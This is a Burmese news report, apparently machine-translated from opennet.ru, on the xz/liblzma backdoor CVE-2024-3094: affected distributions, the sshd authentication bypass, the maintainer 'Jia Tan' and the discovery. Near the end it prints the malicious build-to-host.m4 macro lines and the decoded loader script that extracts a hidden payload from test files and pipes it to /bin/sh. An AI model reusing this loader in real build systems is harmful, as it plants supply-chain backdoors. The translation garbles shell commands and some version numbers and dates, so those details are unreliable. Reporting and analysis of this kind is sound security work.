sshd မဟတဆင့်ဝင်ရောက်ခလင့်ပဌုသော xz/liblzma စာကဌည့်တိုက်တလင် backdoor ကိုရဟာဖလေတလေ့ရဟိခဲ့သည်။

".xz" ဖော်မတ်တလင် ချုံ့ထာသသောဒေတာဖဌင့် လုပ်ဆောင်ရန်အတလက် liblzma စာကဌည့်တိုက်နဟင့် utilities မျာသပါ၀င်သည့် XZ Utils ပက်ကေ့ဂျ်တလင်၊ ဆက်စပ်အပလီကေသရဟင်သမျာသမဟ ကဌာသဖဌတ်လုပ်ဆောင်ပဌီသ ဒေတာမျာသကို ပဌုပဌင်မလမ်သမံခဌင်သအာသ ခလင့်ပဌုသည့် backdoor (CVE-2024-3094) ကို ဖော်ထုတ်ခဲ့သည်။ liblzma စာကဌည့်တိုက်နဟင့်အတူ။ backdoor ၏ အဓိကပစ်မဟတ်မဟာ အချို့သော ဖဌန့်ဝေမဟုမျာသတလင် libsystemd စာကဌည့်တိုက်ဖဌင့် ထုပ်ပိုသထာသသည့် OpenSSH ဆာဗာဖဌစ်သည်။ sshd ကို အာသနည်သချက်ရဟိသော စာကဌည့်တိုက်တစ်ခုနဟင့် ချိတ်ဆက်ခဌင်သသည် တိုက်ခိုက်သူမျာသအာသ စစ်မဟန်ကဌောင်သအထောက်အထာသမရဟိဘဲ SSH ဆာဗာသို့ ဝင်ရောက်ခလင့်ရရဟိစေပါသည်။

Backdoor သည် ဖေဖော်ဝါရီလ 5.6.0 နဟင့် မတ်လ 5.6.1 ရက်နေ့မျာသတလင် ထုတ်ဝေခဲ့သော တရာသဝင်ထလက်ရဟိထာသသော 24 နဟင့် 9 တလင်ရဟိနေပဌီသ၊ ဥပမာ၊ Gentoo၊ Arch Linux၊ Debian sid/unstable၊ Fedora Rawhide နဟင့် Fedora Rawhide နဟင့် 40-beta၊ openSUSE စက်ရုံနဟင့် tumbleweed၊ LibreELEC၊ Alpine edge၊ Solus၊ NixOS မတည်မငဌိမ်၊ OpenIndiana၊ OpenMandriva rolling၊ pkgsrc လက်ရဟိ၊ Slackware လက်ရဟိ၊ Manjaro စမ်သသပ်ခဌင်သ။ xz 5.6.0 နဟင့် 5.6.1 ထုတ်ဝေမဟုမျာသကို အသုံသပဌုသူအာသလုံသကို ဗာသရဟင်သ 5.4.6 သို့ အမဌန်ပဌန်တင်ရန် အကဌံပဌုထာသသည်။

ပဌဿနာကိုလျော့ပါသစေသည့်အချက်မျာသထဲတလင်၊ backdoor ပါရဟိသော liblzma ဗာသရဟင်သသည် ကဌီသမာသသောဖဌန့်ဝေမဟုမျာသ၏တည်ငဌိမ်သောဖဌန့်ချိမဟုမျာသ၏တစ်စိတ်တစ်ပိုင်သဖဌစ်လာစေရန်မစီမံနိုင်သော်လည်သ openSUSE Tumbleweed နဟင့် Fedora 40-beta တို့ကို ထိခိုက်စေခဲ့သည်ကို မဟတ်သာသနိုင်ပါသည်။ Arch Linux နဟင့် Gentoo တို့သည် zx ၏ အာသနည်သချက်ရဟိသော ဗာသရဟင်သကို အသုံသပဌုထာသသော်လည်သ ၎င်သတို့သည် openssh တလင် systemd-notify patch ကို အသုံသမပဌုသောကဌောင့် sshd ကို liblzma နဟင့် ချိတ်ဆက်ထာသသောကဌောင့် တိုက်ခိုက်ခံရနိုင်ချေမရဟိပါ။ Backdoor သည် Linux kernel နဟင့် Glibc C စာကဌည့်တိုက်တို့ကို အခဌေခံသည့် x86_64 စနစ်မျာသကိုသာ သက်ရောက်မဟုရဟိသည်။

အဆောက်အညအတလင်သ အော်တိုမက်တစ်ကိရိယာအစုံသုံသသော build-to-host.m4 ဖိုင်မဟ နောက်ခံဖလင့်ခဌင်သကုဒ်ကို m4 မက်ခရိုတလင် ဝဟက်ထာသသည်။ စုဝေသစဉ်အတလင်သ၊ မော်ကလန်သတိုက်မျာသ (bad-3-corrupt_lzma2.xz၊ good-large_compressed.lzma) ကို အခဌေခံ၍ ရဟုပ်ထလေသရဟုပ်ထလေသသော လုပ်ဆောင်မဟုမျာသကို လုပ်ဆောင်နေစဉ်၊ လုပ်ဆောင်ချက်၏ မဟန်ကန်မဟုကို စမ်သသပ်ရန်အတလက် အသုံသပဌုသည့် အရာဝတ္ထုဖိုင်ကို ထုတ်ပေသခဲ့ပဌီသ ၎င်သတလင် ထည့်သလင်သထာသသည့်၊ liblzma စာကဌည့်တိုက်နဟင့် ၎င်သ၏လုပ်ဆောင်ချက်အချို့ကို လုပ်ဆောင်ချက်လော့ဂျစ်ကို ပဌောင်သလဲခဲ့သည်။ နောက်ခံ-အသက်ဝင်စေသော m4 မက်ခရိုမျာသကို ထုတ်လလဟတ်သည့် tarballs တလင် ပါ၀င်သော်လည်သ Git repository တလင် မပါဝင်ပါ။ တစ်ချိန်တည်သမဟာပင်၊ အန္တရာယ်ရဟိသော စမ်သသပ်မဟုမဟတ်တမ်သမျာသသည် သိုလဟောင်ခန်သတလင် ရဟိနေသည် ၊ ဆိုလိုသည်မဟာ၊ Backdoor ကိုအကောင်အထည်ဖော်သူသည် repository နဟင့် release generation process နဟစ်ခုလုံသသို့ဝင်ရောက်ခလင့်ရဟိသည်။

အပလီကေသရဟင်သမျာသတလင် liblzma ကိုအသုံသပဌုသည့်အခါ၊ အန္တရာယ်ရဟိသောပဌောင်သလဲမဟုမျာသကို ဒေတာကို ကဌာသဖဌတ် သို့မဟုတ် မလမ်သမံရန် သို့မဟုတ် sshd ၏လုပ်ဆောင်မဟုကို ထိခိုက်နိုင်သည်။ အထူသသဖဌင့်၊ အန္တရာယ်ရဟိသောကုဒ်သည် sshd စစ်မဟန်ကဌောင်သအထောက်အထာသပဌခဌင်သလုပ်ငန်သစဉ်ကို ကျော်လလဟာသရန် RSA_public_decrypt လုပ်ဆောင်ချက်ကို အတုအယောင်ပဌုလုပ်ခဲ့သည်။ Backdoor တလင် ထောက်လဟမ်သခဌင်သမဟ အကာအကလယ် ပါ၀င်ပဌီသ LANG နဟင့် TERM ပတ်၀န်သကျင် ကိန်သရဟင်မျာသကို သတ်မဟတ်သည့်အခါ (ဥပမာ၊ terminal တလင် လုပ်ငန်သစဉ်ကို လုပ်ဆောင်နေချိန်) နဟင့် LD_DEBUG နဟင့် LD_PROFILE ပတ်၀န်သကျင် ကိန်သရဟင်မျာသကို မသတ်မဟတ်ထာသဘဲ ၎င်သကို လုပ်ဆောင်သည့်အခါတလင်လည်သ activated ဖဌစ်ခဲ့ပါသည်။ /usr/sbin/sshd လည်ပတ်နိုင်သောဖိုင်။ Backdoor သည် အမဟာသရဟာပဌင်သည့် ပတ်ဝန်သကျင်မျာသတလင် လုပ်ဆောင်မဟုကို ထောက်လဟမ်သနိုင်သည့် နည်သလမ်သလည်သ ပါရဟိသည်။

အထူသသဖဌင့်၊ m4/build-to-host.m4 ဖိုင်သည် gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev/ ကို အသုံသပဌုထာသသည်။ null` 
 gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

ပထမတည်ဆောက်မဟုတလင်၊ grep လုပ်ဆောင်ချက်သည် ဖိုင် tests/files/bad-3-corrupt_lzma2.xz ကိုတလေ့ရဟိခဲ့ပဌီသ၊ ထုပ်ပိုသပဌီသသောအခါ၊ script ကိုထုတ်ပေသသည်- ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ထလက်ရန် 0 [ ! $(uname) = "Linux" ] && ထလက်ရန် 0 [ ! $(uname) = "Linux" ] && ထလက်ရန် 0 [ ! $(uname) = "Linux" ] && ထလက်ရန် 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` စမ်သသပ်လျဟင် -f ../../config.status;then eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi ထုတ်ယူမဟု i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ - c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && ( ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ညသခေါင်သ -c +1024 >/dev/null) && ညသခေါင်သ -c +2048 && (ခေါင်သ-c +1024 >/dev/null) && ညသခေါင်သ -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F အကဌမ်သ —lzma1 -dc|/bin/sh ####ကမ္ဘာ####

တိုက်ခိုက်သူမျာသသည် xz ပရောဂျက်၏ အခဌေခံအဆောက်အအုံကို မည်သို့ဝင်ရောက်ခလင့်ရအောင် စီမံခဲ့သည်ကို အပဌည့်အစုံ မရဟင်သလင်သသေသပါ။ Backdoor ကဌောင့် သုံသစလဲသူမျာသနဟင့် ပရောဂျက်မျာသ မည်မျဟ အပေသအယူလုပ်ခဲ့သည်ကို ရဟင်သရဟင်သလင်သလင်သ မသိရသေသပါ။ repository တလင် အန္တရာယ်ရဟိသောကုဒ်မျာသဖဌင့် မော်ကလန်သတင်ထာသသော backdoor (JiaT75 - Jia Tan) ၏ အစလပ်စလဲစာရေသဆရာသည် Fedora developer မျာသနဟင့် ဆက်သလယ်ခဲ့ပဌီသ xz 5.6.0 ဌာနခလဲသို့ ဖဌန့်ချီမဟုအကူသအပဌောင်သနဟင့်ပတ်သက်သည့် တောင်သဆိုချက်မျာသအာသ Debian သို့ ပေသပို့ခဲ့ပဌီသ၊ xz တလင်ပါဝင်ခဲ့သည့်အတလက် သံသယစိတ်သည် လလန်ခဲ့သည့်နဟစ်နဟစ်ကတည်သက ဖလံ့ဖဌိုသလာခဲ့ပဌီသ ပဌောင်သလဲမဟုအရေအတလက်အရ ဒုတိယ developer ဖဌစ်လာခဲ့သည်။ xz ပရောဂျက်အပဌင်၊ backdoor ၏ရေသသာသသူသည် xz-java နဟင့် xz-embedded packages မျာသဖလံ့ဖဌိုသတိုသတက်ရေသတလင်လည်သ ပါဝင်ခဲ့သည်။ ထို့အပဌင်၊ Jia Tan သည် လလန်ခဲ့သည့်ရက်အနည်သငယ်က Linux kernel တလင်အသုံသပဌုသည့် XZ Embedded ပရောဂျက်၏ ထိန်သသိမ်သသူအရေအတလက်တလင် ပါဝင်ခဲ့သည်။

ssh မဟတဆင့် Debian sid-based စနစ်မျာသသို့ ချိတ်ဆက်သောအခါ valgrind မဟထုတ်ပေသသော အမဟာသအယလင်သမျာသကို ခလဲခဌမ်သစိတ်ဖဌာပဌီသနောက် အန္တရာယ်ရဟိသောပဌောင်သလဲမဟုကို ရဟာဖလေတလေ့ရဟိခဲ့သည်။ xz 5.6.1 ထုတ်ဝေမဟုတလင် backdoor နဟင့် zx 5.6.0 ဗာသရဟင်သသို့ အဆင့်မဌဟင့်တင်ပဌီသနောက် ဖဌစ်ပေါ်လာသော sshd နဟေသကလေသမဟုနဟင့် ပျက်စီသမဟုမျာသအကဌောင်သ တိုင်ကဌာသချက်မျာသကို တုံ့ပဌန်သည့်အနေဖဌင့် backdoor ၏ ရေသသာသသူမဟ ပဌင်ဆင်ထာသသော အပဌောင်သအလဲမျာသ ပါဝင်ကဌောင်သ မဟတ်သာသဖလယ်တလေ့ရဟိရသည်။ ထို့အပဌင် ယမန်နဟစ်က Jia Tan သည် "-fsanitize=address" စစ်ဆေသရေသမုဒ်နဟင့် ကိုက်ညီမဟုမရဟိသော အပဌောင်သအလဲမျာသကို ပဌုလုပ်ခဲ့ပဌီသ fuzz စမ်သသပ်စဉ်အတလင်သ ၎င်သအာသ ပိတ်ထာသခဲ့ရသည်။

source: opennet.ru

မဟတ်ချက် Add